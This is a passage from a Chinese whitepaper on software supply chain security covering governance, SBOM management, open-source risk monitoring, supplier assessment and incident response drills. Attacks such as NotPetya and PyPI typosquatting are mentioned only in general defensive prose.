建立立体化的组件情报审查机制是落实安全责任的重要方式。当前情报审查工作绝大部 分是采购方在招标过程中落实,或用户在梳理自身系统组件过程中利用专业设备或工具进行 内部审计,并未建立起制度化专业化的标准。软件开发理念越发突出安全左移,对于组件情 062 软件供应链安全解决方案 报审查也需要进行相关的“左移”,提升至产品采购的前期,建立规范化制度化的审查机制, 为未来可能出现的专项审查打好基础,企业也应开始对现有存量软件进行相关审查,对自身 进行摸底,了解存在的安全隐患与风险,防止未来国家一旦落实相关审查标准与制度后,企 业因为存在无法解释的依赖关系与复杂嵌套无法梳理的组件被剔除出采购名录的现象发生, 此事直接关系到企业利益,需要提起足够的重视。 5.1.1.3 开发环境 现有政策规范如银保监会发出的《关于供应链安全风险提示的函》中提到,开发环境需 要严格遵守软件安全开发生命周期管理制度和流程,加强漏洞监测、定位和修复,要重点管 控开源软件的使用,建立开源软件资产台账,持续监测和降低所使用开源软件的安全风险。 开发环境安全可分为以下三个主要方面:开发工具安全、开源社区安全、应用开发平台 安全。 其中开发工具安全涉及到具体的开发工具,如编程语言工具、编译工具、管理工具、代 码安全审核 / 审计工具、安全测试工具等。需要重点关注其中的自主可控能力与工具内可能 隐藏的威胁及脆弱性等相关信息。自主可控能力决定了软件开发的透明度与管控能力,是软 件可控的核心指标。通过外部信息了解到相关研发工具的安全水平,维护团队规模、升级频率、 过往安全背景等信息有助于从侧面了解平台的按群全运行管理水平及可靠性与脆弱性。 开源社区安全取决于代码托管平台的访问控制风险、公共仓库访问控制风险、源代码缺 陷及后门和开源软件漏洞及恶意代码植入等风险问题。既有案例表明,美国对伊朗实施开源 社区访问控制,导致开发人员无法登录代码托管平台,直接影响行业运转与百姓生产生活。 开源软件漏洞业曾经让大量组件引用者面对安全风险如 log4j2 安全事件。并且越来越多的 APT 组织开始利用源代码缺陷后门为组件置入恶意代码实现加密勒索、挖矿等非法获利行为。 此类风险绝大部分来自于开源社区内部,社区的管理水平与安全管理能力严重影响着成员们 的安全。 5.1.1.4 政策展望 国家对开源社区的自主可控提出了建设方向与意见建议,我们现如今需要建立起自主可 控的意识,提前做好安全备份与准备,加入行业机构主导的开源组织与社区支持国产化开源 平台的建设。毕竟当平台都掌握在外部,无论本地安全规则如何完备,都会存在根本上的安 全风险。 软件供应链安全技术白皮书 063 通过对安全资质,开发环境,软件成分等公开信息有了充分的掌握,产业链本身都能够 保证其合规性与完整性。用户通过安全资质及产品信息清单,帮助其了解自身产品的安全合 规情况,保证其判断系统是否满足国家基本安全防护要求,并在此基础上进行针对性的强化 补充。采购方也可依据安全标准保证自身安全底线,并在此基础上做出更适合自己的安全保 障措施。 在软件供应链安全概念的早期,我们需要先依靠对现有标准的组合复用实现安全体系建 设,解决领域内安全体系的“有无”问题。未来要在不断地实践探索中深刻理解软件供应 链安全特点,并针对性的完善安全审查机制,提升行业整体安全建设水平是未来确定的发 展方向。 5.1.2 软件供应链的专项安全检查 软件供应链的风险是动态的。软件供应链安全专项安全检查目的是检查和验证监督的组 织的风险在可接受范围内。通过设置软件供应链安全专项检查计划,监视风险管理活动,定 期评审控制措施。 整体实施流程: 图 5.1 软件供应链专项安全检查实施流程 供应链安全专项检查主要从四个步骤开展进行: (一)资料收集 针对识别、收集的关键软件供应链产品,与软件各供应商收集梳理此类产品已具有的销 售许可证及近期相关检测报告(第三方安全检测报告、代码审计报告、漏洞扫描报告、渗透 测试报告、等级测评报告、软件成分分析报告)。 064 软件供应链安全解决方案 (二)现场检查 ● 产品安全技术检查 按照产品类型从开源组件、市场采购及定制开发分析产品的销售许可证、安全性进行检测, 重点检查软件供应链产品是否有销售许可证,是否有相关检测报告(第三方安全检测报告、 代码审计报告、漏洞扫描报告、渗透测试报告、等级测评报告、软件成分分析报告),检查 是否存在已知但未修复的漏洞、开源代码、第三方组件安全隐患等。 ● 管理评估 根据相关政策、标准及企业的供应链管理相关制度,制定软件供应链管理评估表,对软 件供应链企业清单中的各供应商进行管理评估 检查方式: 1) 人员访谈,通过与组织供应商管理人员及对应供应商进行交流、询问等活动,调研组 织在设计、开发、测试、交付及生命周期管理等方面的信息安全管理状况; 2) 现场查看:现场查看组织安全现状(如管理制度的制定和落实情况,技术措施的使用 情况等),判断企业是否符合相关要求。 检查内容及结果: 主要内容主要包括:8 个模块、37 个细则。但不限于以下内容,可结合组织业务情况、 侧重点进行增加。 关键信息基础设施供应链评估 组织管理 流程与政策 供应商管理 人员管理 产品漏洞管理 源代码安全管理 产品安全开发管理 统一安全管理 (三)交付物输出 根据检查内容,识别软件供应链产品安全技术与组织安全管理的风险,提出安全问题提 出风险处置建议,出具软件供应链产品安全技术评估报告、软件供应软件链理能力风险评估 报告。 软件供应链安全技术白皮书 065 (四)协调整改、抽查支持 针对检查出存在已知但未修复的漏洞、开源代码、第三方组件安全隐患等,积极协助完 成修复整改。配合与支持软件供应链专项安全检查后的相关抽查工作。 5.1.3 开源软件安全风险监测 在开源社区的驱动下,开源力量的不断发展,开源软件被广泛复用在实际工程项目中, 其数量也在不断攀升,如 Maven、NPM、GitHub、Gitee 等开源社区或仓库都已到达千万以 上级别;开源软件版本迭代相对频繁,其内部成分及关系也会发生复杂改变,如增加、更新 依赖组件库或版本、复用其他组件源码、调用其他组件类库等。如今企业为了提高软件开发 效率,大量引用开源组件实现业务功能,然而却忽略了开源组件的安全性带来的风险。从企 业安全管理出发,理清企业内部应用产品或项目的开源软件引用依赖关系,开源软件存在的 安全漏洞等成为了一个亟待解决的安全难题。 在监管侧,通过自动化的收集、融合、处理开源组件仓库中托管的开源项目信息,构建 开源软件知识图谱。在此基础上,结合漏洞知识库和缓解措施,建设开源软件安全风险监测 知识图谱,并向企业提供开源项目软件成分及依赖关系的语义查询、风险监测,安全开源项 目推荐等数据服务。可以有效识别、降低企业引入开源软件的安全风险,解决企业引入开源 软件资产的安全和合规问题。 构建过程如下图所示,在数据处理技术方面应用自然语言处理技术对软件实体识别,关 系抽取以及开源软件的特征工程(指纹、属性、签名等)。上层可视化提供信息查询和基于 图算法分析的能力,提供软件漏洞的级联拓展,可进一步挖掘背后的关系知识。 图 5.2 开源软件知识图谱基本框架 066 软件供应链安全解决方案 5.1.4 企业 SBOM “安全屋”托管服务 在软件供应链安全中,透明程度高的软件成分清单(如 SPDX 规范)有利于软件供应链 安全管理,对软件供应链生态安全治理提供更有效信息输入和判定依据,但其如被泄露也会 大大增加提供方的安全风险。因此,由上下游企业之间直接对接这种敏感信息存在很大难度, 需要具备公信力的公立机构,可信的技术机制和方案,才能让企业间放心的提供详细的软件 成分信息,并让最终用户可以查询是否存在风险。 结合软件供应链数据安全技术与可信计算环境,可以为 SBOM 数据提供一个安全可信的 底座。整个过程中,第三方机构向企业提供软件产品的 SBOM 安全托管平台。企业在平台上 租赁自己的 SBOM 安全屋,在安全屋中以密文的形式存放符合规范的 SBOM 数据。最终用户 可以在托管平台中查询软件产品 SBOM 的一些重要信息,如是否包含某个组件,或某个具体 组件是否存在高危风险,平台提供查询结果及证明。 在整个过程中,提供 SBOM 安全屋托管平台与服务的机构,需要具备以下能力: 1. 托管平台的 SBOM 安全屋中, SBOM 数据以密文存放、且在机密计算环境(TEE)中 访问。平台无需持有企业的 SBOM 数据解密密钥,平台亦无法窃取企业的 SBOM 数据, 意即:平台具备“自证可信”的安全功能。 2. 在安全屋中的 SBOM 数据具有“可搜、不可见”的特点,上游企业能够确知用户的查 询次数,但无法获得用户的查询内容,意即:用户享有“隐匿查询”的权力。 3. 平台方确保用户查询的 SBOM 与之前公示的 SBOM 具有一致性,意即:用户享有“不 被数据歧视”的权力。 4. 上游企业可撤销托管平台上的 SBOM,且可确保“撤销之后,托管平台无法继续使用 该 SBOM”,意即:上游企业享有“SBOM 被遗忘”的权力。 5.1.5 软件供应链安全监测预警 软件供应链安全监测预警是通过针对软件供应链关键节点的情报信息采集,实现快速反 应。是对当前软件供应链安全严峻形势充分认识的体现。软件供应链安全检测预警,能充分 落实网络安全责任,有助于持续提高信息科技治理能力。软件供应链产业安全,配套产业及 基础材料安全等领域的研究,从宏观角度对丰富自身安全防护手段进行政策指导,对现有软 件供应链系统进行宏观梳理查找漏洞,建立风险预警机制,保障供应链安全可控。 软件供应链安全技术白皮书 067 5.1.5.1 风险环境判断 在软件供应链整个链路流程中,每个阶段都在面临不同的安全风险,为了更好的应对软 件供应链的各类风险状况,需要对突发事件的场景由充分的应对策略,通过管理手段与技术 手段相结合的方式避免突发事件的危害扩大,在突发事件发生时能够及时监测预警,并有序 进行处理行为。 软件项目都涉及众多的供应商,包括咨询设计方、软件开发方、信息化产品供应商、系 统集成商、运维服务提供商、安全服务提供商等。供应商自身的网络安全建设缺失,也会带 来运维权限盗用、源代码泄露等风险,众多供应商提供的安全信息与其所产品所涉及组件的 安全信息同样是重要安全情报搜集对象。 从上述典型软件供应链的风险环境可大致判断软件供应链安全检测预警工作需要关注两 个层面:一类是软件供应商自身所存在的安全风险,例如软件供应商网络安全缺陷、端口 暴露、弱密码、弱口令等;另一类是软件产品本身的安全风险,例如软件漏洞等。 5.1.5.2 建立常态化机制 采购方需要针对软件供应链安全检测常态化,配合自身的安全检查工具通过深度检查对 自身系统进行摸底与建模,整理出自身组件清单,结合安全情报服务,后期不断维持情报更 新实现动态监测,对关键位置与关键组件进行针对性的安全加固与防范。 结合国家官方的漏洞管理机构仿照海外模式建立政府统一管理的情报库实现软件供应链 安全预警平台建设也是完全可以预期的,供应链涉及面广,成分复杂,单一企业或某个组织 一己之力难以保证安全情报来源的广泛性与时效性。企业做好自身安全检测预警机制,提前 做好信息管控架构与情报引用,为未来安全监测情报打通提前做好准备。 5.2 供应链安全管控 5.2.1 建立软件供应链资产台账 一个组织的产品服务的类型多样、构成复杂。通过建立软件供应链资产台账,能够清晰 组织供应链关系。组织建立软件供应链台账需要全面梳理供应链终涉及到的供应商、软件、 工具、服务、上下游交付环节,保证供应链流程不会存在遗漏。 068 软件供应链安全解决方案 5.2.1.1 供应商的梳理 梳理范围:主要基于对组织的直接供应商进行梳理。没有对供应链间接供应商梳理也是 考虑到如果对供应链的多个层次进行管理,可能造成管理成本的上升和流程复杂度的增加, 而从终端客户角度来看,组织的直接供应商承担着主要责任。 梳理方式:问卷调查、访谈。 梳理内容及结果:供应商通常分为产品供应商、系统集成商、服务提供商,包括设计方、 开发方、承建方、网络安全产品提供方、信息化产品提供方、运维方、安全服务提供方、信 息安全测评方、其他参与方等等。对供应商梳理形成供应链企业清单,内容包括企业名称、 所属省市、具体地址等信息,掌握组织的所属供应商。 5.2.1.2 供应链产品服务梳理 梳理范围:主要对软硬件产品服务进行梳理。 梳理方式:问卷调查、访谈。 梳理内容及结果:包括 OA 办公平台、电子邮件系统、网络监控软件、云盘或 FTP 等文件, 文件共享平台、源代码仓库、VPN 产品、典型业务终端软件、视频会议软件、财务软件行业 专用软件等软件及网络设备、安全设备、服务器、手持设备等硬件,查清重要供应链产品的 版本、型号、生产厂商、开发类型、涉及操作系统、是否有信息回传厂商及回传信息的主要 内容等基本要素,形成供应链产品清单。 5.2.1.3 供应链资产台账管理及可视化 已完成梳理形成的供应链企业清单、供应链产品清单,需要建立供应链资产台账平台进 行管理,并通过建立供应链资产管理机制,如管理流程或自动化技术(如 SCA 产品)持续更 新这些清单信息。建立的资产台账,可以结合开源软件安全风险检测等安全监督机制及时识 别企业存在的软件供应链风险。对于软件管理能力较高的企业,可以结合已具备的漏洞预警 能力、企业资产风险管理能力,建立企业资产台账风险管理平台,多维度评估风险和可视化 展示能力,协助软件企业制定符合自己的漏洞预警与处置方案。同时,结合知识图谱的推荐 服务还可以提供修复方案或解决办法供企业安全人员参考,并制定内部安全处置方案。 软件供应链安全技术白皮书 069 面向企业的资产台账管理平台 5.2.2 开源软件及服务商测评 在软件供应链中,出于成本的考虑,项目中使用开源软件或者使用开源组件进行二次开发, 已被广泛应用。加之服务商众多,经验及服务质量不尽相同。所以针对开源软件及其服务商 的测评是保障供应链各环节安全的重要方式。 1. 开源软件测评 测评范围:适用于对开源软件以及同类开源技术、软件和产品进行评测,为开源软件质 量和成熟度提供一定参考。同时帮助进行技术路线选择和开源软件选型。 测评内容:评测模型具有一级评估属性、二级评估属性、评测指标三个层次,共有 12 项 一级评估属性、42 项二级评估属性和 129 项评测指标。包括开源许可证、行业认可度、产品 活力、服务交付、安全性、兼容性、可维护性、可扩展性、功能性、可靠性、易用性、性能效率。 包括但不限于以下内容,可结合业务情况、侧重点增加测评项。 开源许可证 开源许可证类别 开源许可证权力和限制 开源许可证冲突 行业认可度 商业版本 商业化实践或应用案例 第三方评估结果 用户满意度 070 软件供应链安全解决方案 根据对检查的评估属性和评估指标进行分级定义和分级运算每一级有相应的权重体系, 自下而上计算得出开源软件的量化评分值。 2. 服务商测评 测评范围:对开源软件的直接服务商,包括整体组织机构或某个独立的具体开源技术领 域的系统或部门。 测评内容:内容依据评测模型具有一级评估属性、二级评估属性、评测指标三个层次, 共有 8 项一级评估属性、20 项二级评估属性、118 项评测指标。包括:行业经验、技术能力、 服务质量、开源经验、企业资质、服务交付、运维支持、安全保障。包括但不限于以下内容: 行业经验 项目实施经验 近三年同业服务能力 技术能力 技术人员 核心技术 技术方案和验证 软件服务商评测模型涉及定性评价和定量评价两类评测指标,使用专家评分法对服务商 进行评测:首先根据服务商的评测指标制订评分标准,然后聘请若干代表性专家凭借自己的 经验按此评分标准给出各指标的分值,最后汇总计算得到指标得分和服务商综合得分。 5.2.3 商业软件安全技术检测 5.2.3.1 渗透测试 渗透测试(Penetration Testing)是由具备高技能和高素质的安全服务人员在不同的位置 (比如从内网、从外网等位置)利用各种手段对某个特定网络发起、并模拟常见黑客所使用 的攻击手段对目标系统进行模拟入侵进行测试,以期发现产品中存在的安全隐患。渗透测试 服务的目的在于充分挖掘和暴露系统的弱点,从而让管理人员了解其系统所面临的威胁。 渗透测试是脆弱性评估的一种很好的补充。同时,由于主持渗透测试的测试人员一般都 具备丰富的安全经验和技能,所以其针对性比常见的脆弱性评估会更强、粒度也会更为细致。 另外,渗透测试的攻击路径及手段不同于常见的安全产品,所以它往往能暴露出一条甚至多 条被人们所忽视的威胁路径,从而暴露整个系统或网络的威胁所在。最重要的是,渗透测试 最终的成功一般不是因为某一个系统的某个单一问题所直接引起的,而是由于一系列看似没 有关联而且又不严重的缺陷组合而导致的。日常工作中,无论是进行怎么样的传统安全检查 软件供应链安全技术白皮书 071 工作,对于没有相关经验和技能的管理人员都无法将这些缺陷进行如此的排列组合从而引发 问题,但绿盟科技的渗透测试人员却可以靠其丰富的经验和技能将它们进行串联并展示出来。 5.2.3.2 组件漏洞分析 软件成分,即软件物料清单,通常称为 BOM。高德纳公司也建议企业“持续构建详细的 软件物料清单,以提供对组件的完全可见性” [31]。通过软件成分分析 SCA 工具,可以生成 BOM 清单,提供详尽的组件版本和许可信息等。维护准确的软件 BOM 可以帮助企业快速查 明易受攻击的组件。 组件的典型风险包括:1. 组件中包括已知的漏洞;2. 组件中包含高危漏洞;3. 组件过期, 多年未运维或已经不维护,可能存在未知风险。 针对开源软件成分分析,可以采取以下步骤:1. 使用 SCA 工具和技术,形成开源软件的 BOM 清单;2. 关注 BOM 中的组件,涉及到中高危漏洞的组件,进行升级或规避修复;3. 定 期更新组件和漏洞知识库,对新发现和暴露的漏洞,及时进行修复。 5.2.3.3 代码审计 代码安全审计,这里指采用静态分析方法的一种白盒安全测试,也称之为静态应用程序 安全测试 SAST。主要用于识别非运行(静态)代码中的编码缺陷。静态测试包括对代码缺 陷检测和代码质量检测。 代码中静态风险包括:1. 开发人员在上线前做 AST 测试交付压力较大,如何在 IDE 编码 阶段处理代码风险;2. 在编码阶段,可能会引入的安全性或代码质量问题;3. 一些编译后的 字节或二进制代码,需要进行分析 [32]。 针对开源代码静态审计,步骤如下:1. 使用 SAST 工具和技术,对开源代码进行审计;2. 针 对不同开发语言,配置相应的检测规则或采用默认检测规则;3. 对检查出代码中的漏洞,参 照修复建议进行修复。 5.2.4 供应商安全风险评估 供应商风险评估是以对标国外先进水平、促进供应商服务持续改进;保障供应链安全稳定; 保障敏感数据为核心。包括协助供应商分级分类、分别针对不同类别的供应商建立供应商风 险度量指标:机房、非驻场开发、鉴证核查、数据处理共 4 类供应商风险度量指标。定期风 [31] Garter, 2019, Technology Insight for Software Composition Analysis [32] Gartner, 2020, How to Deploy and Perform Application Security Testing. 072 软件供应链安全解决方案 险评估,发现安全风险并要求征整改。重点聚焦威胁防御,数据安全,业务连续性。最终实 现发现并安全隐患、供应商评级参考、保障供应链业务安全。 5.2.4.1 供应商分类分级 供应商分级分类是对供应商进行分级分类管理,对重要供应商和一般供应商采取差异化 管控措施。通过分类分级差异化管控,重点关注重要供应商的高风险等级评估项,对其进行 优先整改,实现精准高效供应链安全管理。属于重要供应商的包括但不限于:核心业务软件 系统开发测试和运行维护的供应商、软件涉及集中存储重要数据和客户个人敏感信息的供应 商、直接影响实时业务和影响账务等重要信息准确性的供应商;其它对组织业务运营具有重 要影响的供应商。 5.2.4.2 建立指标 各级别风险度量指标是对供应商建立服务效能和质量监控指标,并进行相应指标监控。 依据与业务场景相结合的指标,能够准确分析供应商需承担的安全责任和所需的安全能力, 特别是数据保护能力。针对不同类型的软件供应商可定制不同评估项,实现标准化。常见评 估领域包括但不限于:基本情况、制度管理、人员安全、业务连续性管理、服务水平连续管理、 机房管理要求、机房物理要求、办公环境、终端安全、系统安全、数据安全等。 5.2.4.3 风险评估及整改 现状调研:主要以文档调阅、人员访谈、现场勘查的方式进行。文档调阅主要是调阅供 应商管理体系相关文档,包括供应商运维管理文档、信息安全管理策略、业务连续性管理文档、 信息科技外包管理文档、系统设计文档等,以充分了解供应商管理现状。人员访谈包括对相 关部门相关人员的访谈,人员访谈目的为验证管理制度和流程的制定 / 执行 / 监督 / 维护情况, 以及人员对于本岗位相关的管理制度和流程的理解水平。现场勘查主要是对物理机房的现场 走查,实地查看物理环境是否能够承载各信息系统稳定运行。 差距分析:以国家标准为主要依据,结合行业监管机构的相关监管规范的内容,根据实 际情况,形成衡量供应商管理能力检查表、供应商风险评估表。覆盖了机房、非驻场开发、 鉴证核查、数据处理 4 类供应商风险度量指标,涵盖了基本情况、制度管理、人员安全、业 务连续性管理、服务水平连续管理、机房管理要求、机房物理要求、办公环境、终端安全、 系统安全、数据安全等评估项。以完成供应商及供应商管理与国家、行业监管要求之间的差 距合规性分析。 软件供应链安全技术白皮书 073 5.2.5 供应链安全应急体系建设 5.2.5.1 应急预案编制 编制一个适用于企业自身的应急预案应当包含以下步骤: 1. 现状调研 为了使编制的应急预案贴合企业实际情况,在正式编制应急预案之前,应当对企业现状 进行调研,调研内容包括但不限于涉及软件成分信息,软件使用情况,涉及业务的重要程度, 以及软件的部署架构及方式;运行维护涉及到的部门、供应商情况;软件系统的风险评估结 果等。 2. 预案编制 收集完上述内容后,就可以成立相应的应急预案编制组进行应急预案的编制。同时还要 确定应急预案的场景。供应链安全事件与现有安全事件分类标准存在一定的差异。 微软将供应链安全事件主要分为四类:1、损坏的软件生成工具或更新的基础结构;2、 被盗的代码签名证书或使用开发人员公司的标识签名的恶意应用;3、硬件或固件组件中附 带的已泄漏的专用代码;4、在相机、USB、手机等设备上预安装的恶意软件。微软的这个分 类方法主要是从攻击手法的角度来对供应链安全事件进行一个分类。 欧盟在 2021 年 7 月发布的《ENISA THREAT LANDSCAPE FOR SUPPLY CHAIN ATTACKS》 中指出欧盟网络安全事件分类学用于联盟一级的事件响应协调活动和信息共享。由于分类法 在概念上不同,不允许对供应链事件进行详细分析,因此提供了一种对供应链攻击事件分类 的方法,从 4 个要素进行考虑,分别为供应商、供应商资产、客户以及客户资产,这种分类 方法可覆盖供应链攻击的整个过程。我们建议同时使用这两种分类法。 NIST 则在 2021 年 4 月发布的《Defending Against Software Supply Chain Attacks》中 将常见攻击链安全事件分了三类:1、劫持更新:大多数现代软件都会收到常规更新,以解 决错误和安全问题。软件供应商通常将更新从集中服务器分发给客户,作为产品维护的常规 部分。威胁参与者可以通过渗透供应商的网络并将恶意软件插入传出的更新或更改更新以授 予威胁参与者对软件正常功能的控制权来劫持更新。例如,NotPetya 袭击发生在 2017 年, 当时针对乌克兰的俄罗斯黑客通过乌克兰流行的税务会计软件传播恶意软件。后来被称为 NotPetya 的恶意软件蔓延到乌克兰以外,并在国际航运、金融服务和医疗保健等关键行业造 074 软件供应链安全解决方案 成了重大全球破坏。2、破坏共同设计:共同设计用于验证代码作者的身份和代码的完整性。 攻击者通过自签名证书、破坏签名系统或利用配置错误的帐户访问控制来破坏共同设计。通 过破坏共同设计,威胁参与者可以通过冒充受信任的供应商并将恶意代码插入更新来成功劫 持软件更新。例如,总部位于中国的威胁参与者 APT 41 在对美国和其他国家进行复杂的软 件供应链妥协时经常破坏共同设计。3、破坏开源代码:当威胁参与者将恶意代码插入可公 开访问的代码库时,就会发生开源代码妥协,毫无戒心的开发人员⸺寻找免费的代码块来 执行特定功能⸺然后添加到他们自己的第三方代码中。例如,2018 年,研究人员发现了 12 个恶意 Python 库上传到官方 Python 软件包索引(PyPI)。攻击者使用拼写策略,创建了 名为“diango”、“djago”、“dajngo”等的库,以吸引寻求流行“django”Python 库的 开发人员。恶意库包含与模拟库相同的代码和功能;但它们还包含其他功能,包括在远程工 作站上获得引导持久性和打开反向外壳的能力。开源代码妥协也可能影响私有软件,因为专 有代码开发人员通常在其产品中利用开源代码块。 在编制的过程中可以参考相关法律法规、行业规范、技术规范等,结合企业自身情况和 安全能力,制订相应的应急处置流程和操作规范。 3. 预案评审、发布及培训 编写完成的应急预案,应当邀请相关人员,如内外部专家,预案涉及部门等进行评审, 评审通过后通过企业的文件发布流程对应急预案进行发布,召集所有涉及的人员进行相关 培训。 5.2.5.2 专项应急演练 5.2.5.2.1 应急演练目标 开展供应链安全应急演练的目标主要是为了检验以下能力: 1. 情报收集 / 研判能力 情报收集 / 研判对于供应链安全事件应急处置至关重要。传统的网络攻击事件我们可以 依靠各种安全设备的规则匹配,或者攻击行为进行建模判断,但是供应链安全事件往往由 0day 漏洞或 APT 攻击引起,具有较强的隐蔽性。依靠传统的监测手段往往很难发现。一般 各种消息都是先出现在小密圈,技术论坛等渠道,同时各种信息混杂,需要进行一定的研判 软件供应链安全技术白皮书 075 工作,所以要快速的发现供应链安全事件并进行相应,需要具备一定的情报收集 / 研判能力。 这个情报收集可以是通过官方的渠道和安全公司获取。一方面官方的渠道是指供应商相关信 息推送或上级主管单位横向报送,另外一方面就是安全公司了,包括专职的威胁情报公司和 一些具备较强专业性的安全公司。 2. 软件成分分析能力 供应链安全事件的严重性就表现在目前大量的软件中都可能使用相同的代码包、框架或 者开源代码。所以面对供应链安全事件的时候客户或供应商都应具备软件成分分析能力,软 件成分分析或记录越完整,在发生供应链安全事件时响应速度就越快,可以第一时间明确受 影响的资产信息,根据资产的重要程度制订相应的处置优先级。如 2021 年 12 月 9 日披露的 Apache Log4j2 远程代码执行漏洞(CVE-2021-44228),根据 MVN Repository 显示有接近 7000 的项目引用了 Log4j2。如果企业没有软件成分分析能力或软件成分管理,企业内部排 查受影响软件时,将耗费大量的时间,导致错过最佳的修复窗口期。也无法保证将所有受影 响软件都进行了修复。 3. 完善的阻断能力 当我们发现供应链安全事件时,我们往往需要采取临时措施根据情报的 IOC 进行封禁, 争取修复相关缺陷的时间。如果企业的阻断能力不完善,无法进行相关攻击或连接的阻断, 那么在事件处置的过程中将大大增加难度,往往有可能出现修修补补反复工作的情况发生。 4. 良好的沟通机制 良好的沟通机制不管在平常的网络安全事件处置过程中还是在供应链安全事件处置过程 中,都极其重要。这里要特别提出来时因为平常的网络安全事件的处置,大多数的沟通主要 局限在企业内部跨团队之间的沟通。但是供应链相对比较复杂,不仅涉及企业内部不同部门 之间的沟通,可能涉及到多个供应商之间的沟通协调。所以要提前建立良好的沟通机制,明 确沟通流程和沟通渠道。 5.2.5.2.2 应急演练流程 应急演练工作的基本组织流程可如图所示。 076 软件供应链安全解决方案 图 5.4 应急演练工作基本流程图 a) 演练筹划:根据应急响应工作的实际需要,统筹提出应急演练的需求,制订应急演练 工作计划; b) 确定演练目标和范围:由应急演练工作领导小组确定应急演练的目标、范围,以及参 与的机构和人员,并授权各参与机构和人员按各自职责参加应急演练; c) 确定演练方案:由应急演练策划组根据应急响应预案,组织编制应急演练方案,设置 演练场景,专家顾问组成员同期参与指导,应急演练工作领导小组确定与批准; d) 调配演练资源:由应急演练保障组根据应急演练方案调配演练所需的各项资源; e) 演练开始:由应急演练工作领导小组授权的演练总指挥宣布应急演练开始; 软件供应链安全技术白皮书 077 f) 演练执行与异常处置:应急演练策划组启动应急演练条件,各组各行其责,按照预定 方案实施应急演练,或在演练总指挥的指挥下处置演练过程中出现的非预设事件; g) 演练状态恢复:应急演练结束后,按照预案将演练所涉及到的环境、资源和信息系统 等恢复到演练前的状态; h) 演练结束:由演练总指挥宣布应急演练工作结束; i) 演练总结与汇报:由演练总指挥组织相关人员,对本次应急演练工作进行评估和总结, 并向应急演练工作领导小组报告应急演练工作情况; j) 针对演练中反映出的不足或问题,由相关发起部门进行改进或调整。 5.2.5.2.3 演练方式 5.2.5.2.3.1 桌面演练 桌面演练也称沙盘演练、沙盘推演,指参演人员利用地图、沙盘、流程图、计算机模拟、 视频会议等辅助手段,依据应急预案对事先假定的演练情景进行交互式讨论和推演应急决策 及现场处置的过程,一般可作为实战演练的基础。可分为讨论式桌面演练及推演式桌面演练, 通常在会议室举行。 桌面演练的目的包括:明确相互协作和职责划分,锻炼演练人员解决问题的能力;发现 和解决预案和程序中的问题,取得一些有建设性的讨论结果; (一)讨论式桌面演练 讨论式桌面演练主要是围绕对所提出问题进行讨论。由总指挥根据演练方案以口头或书 面形式,部署引入一个或若干个问题。参演人员根据应急预案及有关规定,讨论应采取的行动, 按照应急预案和标准行动程序,对所讨论内容形成书面总结和改进建议。 (二)推演式桌面演练 在推演式桌面演练中,由总指挥按照演练方案发出控制消息,参演人员接收到控制信息后, 通过角色扮演或模拟操作,完成应急程序。推演式桌面演练的准备工作至少需要完成演练执 行程序控制流程图及演练脚本。 突出优势:规模较小,不需要协调应急响应工作组以外人员、资源的模拟演练,对系统 无实际影响。 078 软件供应链安全解决方案 5.2.5.2.3.2 实战演练 实战演练可分为模拟操作演练和真实操作演练。 模拟操作演练一般在测试环境下进行。演练环境要求尽量逼近实际生产环境,演练过程 要求尽量真实。模拟操作演练要求注重技术操作的验证、各方资源的协调和配合、各类问题 的解决和风险的应对。 真实操作演练一般需要进行预演练(可采用推演式桌面演练、模拟操作演练等方式)。 真实操作演练要求在真实环境下进行,注重技术操作和业务处理。演练过程应调用全部相关 人员和资源,以检验相互协调配合的整体应急能力。 突出优势:规模较大,需要协调应急响应工作组及各个部门做好突发事件准备,对系统 或网络可能产生影响,但效果真实。 5.2.5.3 事件响应处置 为最大限度科学、合理、有序地处置信息安全事件,采纳了业内通常使用的 PDCERF 方 法学(最早由 1987 年美国宾夕法尼亚匹兹堡软件工程研究所在关于应急响应的邀请工作会 议上提出),将应急响应分成准备(Preparation)、检测(Detection)、抑制(Containment)、 根 除(Eradication)、 恢 复(Recovery)、 跟 踪(Follow-up)6 个 阶 段 的 工 作, 并 根 据 网络安全应急响应总体策略对每个阶段定义适当的目的,明确响应顺序和过程。应急响应 PDCERF 模型如图所示: 软件供应链安全技术白皮书 079 1. 准备阶段主要包括在事件处理过程中可能有用的可用工具和资源的示例,建立安全保 障措施,制定安全事件应急预案,进行应急演练,对系统进行安装和配置加固等内容。 2. 检测阶段是应急响应全过程中最重要的阶段,在这个阶段需要系统维护人员使用检测 技术或设备进行检测,确定系统是否出现异常,在发现异常情况后,形成安全事件报告,并 由安全技术人员介入进行高级检测来查找安全事件的真正原因,明确安全事件的特征影响范 围和标识安全事件对受影响的系统所带来的改变。 3. 抑制阶段是对攻击所影响的范围、程度进行扼制,通过采取各种方法,控制、阻断、 转移安全攻击。针对上一检测阶段发现的攻击特征,比如攻击利用的端口,服务,攻击源, 攻击利用系统漏洞等,采取有针对性的安全补救工作,以防止攻击进一步加深和扩大。 4. 根除阶段是在抑制的基础上,对引起该类安全问题的最终技术原因在技术上进行完全 的杜绝,并对这类安全问题所造成的后果进行弥补和消除。 5. 恢复阶段主要内容是将系统恢复到正常的任务状态。在系统遭到入侵后,攻击者一定 会对入侵的系统进行更改。同时,攻击者还会想尽各种办法使这种修改不被系统维护人员发 现,从而达到隐藏自己的目的。 6. 跟踪阶段主要内容是对抑制或根除的效果进行跟踪和审计,确认系统或终端没有被再 次入侵,还需对事件处理情况进行总结,吸取经验教训,对已有安全防护措施和安全事件应 急响应预案进行改进。 但是在供应链安全事件中存在细微差别,因为供应链安全事件涉及到两类角色,供应商 和客户。各自的职责和目的不一样,导致处置流程存在区别。 从供应商的角度来看,供应链安全事件,实则是提供的产品出现问题,那么相关的应急 处置流程则和企业内部的变更流程类似。定位问题、制订解决办法、实施变更、变更测试、 新版本发布、通知客户。所以从供应商的角度来看,更多的是对相关产品进行变更。 客户的角度来看,供应链安全事件的处置流程就基本和 PDCERF 方法类似。但是供应链 安全事件涉及的供应商服务中断 / 更换,引发的安全问题则不能完全适用,供应商服务中 断 / 更换的应急处置流程实则是一个备份恢复的过程。 6 行业、企业最佳实践 软件供应链安全技术白皮书 081 6.1 银行业金融机构信息科技外包安全实践 面对日益加剧的竞争及技术变革的加快,IT 外包以精专业、高效率、低成本等优势,成 为了国内各大金融机构提高竞争力的重要手段之一。但 IT 外包强势进驻的同时,给各金融机 构带来了巨大的安全隐患,近年来外包风险事件越来越多,也引起了监管单位的重视,2008 年初,银监会发布《银行业金融机构外包风险管理指引》(征求意见稿),并于 2010 年 6 月正式发布《银行业金融机构外包风险管理指引》(银监发 [2010]44 号),且先后下发了《银 